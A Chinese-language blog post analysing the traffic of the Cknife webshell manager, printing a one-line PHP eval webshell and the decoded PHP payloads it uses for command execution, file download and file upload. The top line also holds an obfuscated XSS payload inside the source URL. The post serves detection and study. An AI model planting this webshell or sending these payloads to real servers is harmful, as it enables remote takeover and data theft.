Cknife流量分析
本文首发:https://<img src=1 onerror=\u006coc\u0061tion='j\x61v\x61script:\x61lert\x281\x29'>testdemo
0x01 环境
<?php eval($_REQUEST['shell'] ?>
0x02 命令执行
执行命令结果如下图所示
POST的数据如下图所示
对POST的数据解码
#shell
@eval(base64_decode($_POST[action]));
#action
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$p=base64_decode($_POST["z1"]);
$s=base64_decode($_POST["z2"]);
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";
$r="{$p} {$c}";
@system($r." 2>&1",$ret);
print ($ret!=0)?"ret={$ret}":"";;
echo("|<-");
die();
#z1
cmd
#z2
cd/d"C:\wamp64\www\"&whoami&echo [S]&cd&echo [E]
z2
是whoami
经过cknife
的组合再经过base64
编码后的结果,cknife
通过eval
执行action
中的代码,把POST的z1
和z2
用base64_decode
解码,再把z1
和z2
组合成$r
,最后用system
执行$r
,打印执行结果。
返回结果如下图所示
经过cknife
的格式处理,返回的结果变成了上图的样子,->|
和|<-
中间的内容就是执行命令的结果
0x03 文件下载
POST的数据如下图所示
对POST的数据解码
#shell
@eval(base64_decode($_POST[action]));
#action
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$F=get_magic_quotes_gpc()?base64_decode(stripslashes($_POST["z1"])):base64_decode($_POST["z1"]);
$fp=@fopen($F,"r");
if(@fgetc($fp)){
@fclose($fp);
@readfile($F);
}else
{
echo("ERROR:// Can Not Read");
};
echo("|<-");
die();
#z1
C:\wamp64\www\index.php
z1
是目标文件路径经过base64
编码后的结果,cknife
通过eval
执行action
中的代码,用base64_decode
获取文件的路径,然后判断文件是否能够被读取,如果能够被读取,则用readfile()
输出文件的内容,最后将输出的文件内容写入到本地文件中。
返回结果如下图所示
有一点需要注意,cknife
可能会将返回的所有内容输出到文件中,所以需要手动取出->|
和|<-
之间的内容,否则文件可能格式错误
0x04 文件上传
POST的数据如下图所示
对POST的数据解码
#shell
@eval(base64_decode($_POST[action]));
#action
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$f=base64_decode($_POST["z1"]);
$c=$_POST["z2"];
$c=str_replace("\r","",$c);
$c=str_replace("\n","",$c);
$buf="";
for($i=0;$i<strlen($c);$i+=2)
$buf.=urldecode("%".substr($c,$i,2));
echo(@fwrite(fopen($f,"w"),$buf)?"1":"0");;
echo("|<-");
die();
#z1
C:\wamp64\www\test.txt
#z2
this is a test
z1
是目标文件路径经过base64
编码后的结果,z2
是本地文件的内容经过hex
编码后的结果,cknife
通过eval
执行action
中的代码,用base64_decode
先获取目标文件的路径,然后获取z2
的内容,使用for
循环将原来的hex
编码转换为URL
编码,再用urldecode
进行解码,追加给$buf
,for
循环结束后$buf
就是文件的内容,最后写入目标文件中,写入成功返回1
,写入失败返回0
返回结果如下图所示
如果->|
和|<-
之间的内容为1
,则代表文件上传成功
Cknife流量分析的更多相关文章
- 10 个强大的开源 Web 流量分析工具(转帖)
Web 流量分析工具多不胜数,从 WebTrends 这样专业而昂贵的,到 Google Analytics 这样强大而免费的,从需要在服务器端单独部署的,到可以从前端集成的,不一而足.本文收集并介绍 ...
- 两款HTTP流量分析工具HttpWatch与Fiddler的比较(转)
最近突然想看看HTTP的消息到底是怎么回事,在网上搜了几款软件来监控,并且搜到了下面的文章,感觉介绍的不错,就copy下来了.下文摘自:http://www.imkevinyang.com/2009/ ...
- 【迎圣诞,拿大奖】+流量分析+Writeup分享
太菜了太菜了,刚见到jsfuck时竟然不知道什么东西,自己都不敢说自己做过实验吧上的那道jsfuck题了. 进入正题: 首先解压发现两个文件,一个流量分析包,哇哇哇,我正好刚学了几天wireshark ...
- CTF MISC-USB流量分析出题记录
USB流量分析 USB接口是目前最为通用的外设接口之一,通过监听该接口的流量,可以得到很多有意思的东西,例如键盘击键,鼠标移动与点击,存储设备的明文传输通信.USB无线网卡网络传输内容等. 1.USB ...
- 开源流量分析系统 Apache Spot 概述(转)
原文地址http://blog.nsfocus.net/apache-spot/ Apache Spot 是一个基于网络流量和数据包分析,通过独特的机器学习方法,发现潜在安全威胁和未知网络攻击能力的开 ...
- 流量分析系统----讲解-echarts模拟迁移(结合china.js)
百度 Echarts 地图->模拟迁徙,实现自动切换地图 小航哥注释: 1.本文主要是把模拟迁移的流程讲了一遍,讲的很好.具体实现参考航哥这篇随笔“流量分析系统----实现-echarts模拟迁 ...
- 网络流量分析——NPMD关注IT运维、识别宕机和运行不佳进行性能优化。智能化分析是关键-主动发现业务运行异常。科来做APT相关的安全分析
科来 做流量分析,同时也做了一些安全分析(偏APT)——参考其官网:http://www.colasoft.com.cn/cases-and-application/network-security- ...
- Android 流量分析 tcpdump & wireshark
APP竞争已经白热化了,控制好自己Android应用的流量能够给用户一个良好的用户体验噢,给用户多一个不卸载的理由. Android 怎样进行流量分析?用好tcpdump & wireshar ...
- google analytics是什么(免费的网站流量分析服务:比如分析有多少个人来了你的网站,告诉你怎么样才能在网站上面实现最大收益。)
google analytics是什么(免费的网站流量分析服务:比如分析有多少个人来了你的网站,告诉你怎么样才能在网站上面实现最大收益.) 一.总结 免费的网站流量分析服务:比如分析有多少个人来了你的 ...
随机推荐
- 获取两日期之前集合并转为String类型的集合
/** * 获取两个日期之间的日期 * * @param start 开始日期 * @param end 结束日期 * @return 日期集合 */ private static List<D ...
- 【转】JS中处理Number浮点数精度问题
https://github.com/dt-fe/number-precision ~(function(root, factory) { if (typeof define === "fu ...
- jupyter notebook选择conda环境
需要安装: conda install ipykernel 使用:首先激活对应的conda环境 source activate 环境名称 将环境写入notebook的kernel中 python -m ...
- How to change default root@ email address linux / postfix / centos?
Change root@hostname to different email address By default, any email sent by system is sent to root ...
- 剑指offer64:滑动窗口的最大值
1 题目描述 给定一个数组和滑动窗口的大小,找出所有滑动窗口里数值的最大值.例如,如果输入数组{2,3,4,2,6,2,5,1}及滑动窗口的大小3,那么一共存在6个滑动窗口,他们的最大值分别为{4,4 ...
- 随记sqlserver学习笔记(一)
create database testuse test --部门表create table department( dept_id int not null identity primary key ...
- PAT(B) 1062 最简分数(Java)
题目链接:1062 最简分数 (20 point(s)) 题目描述 一个分数一般写成两个整数相除的形式:N/M,其中 M 不为0.最简分数是指分子和分母没有公约数的分数表示形式. 现给定两个不相等的正 ...
- C语言下进制的使用
进制规则 十进制 以正常数字1-9开头,如123 八进制 以数字0开头,如0123 十六进制 以0x开头,如0X123 二进制 C语言不能直接书写二进制数 案例如下 int main() { int ...
- Scala 类型参数
介绍 类型参数是什么?类型参数其实就类似于Java中的泛型.先说说Java中的泛型是什么,比如我们有List a = new ArrayList(),接着a.add(1),没问题,a.add(&quo ...
- mdk编译时的内存分析
内存四区(代码区,全局区,栈区,堆区) Code:即代码域,它指的是编译器生成的机器指令,这些内容被存储到ROM区. RO-data:Read Only data,即只读数据域,它指程序中用到的只读数 ...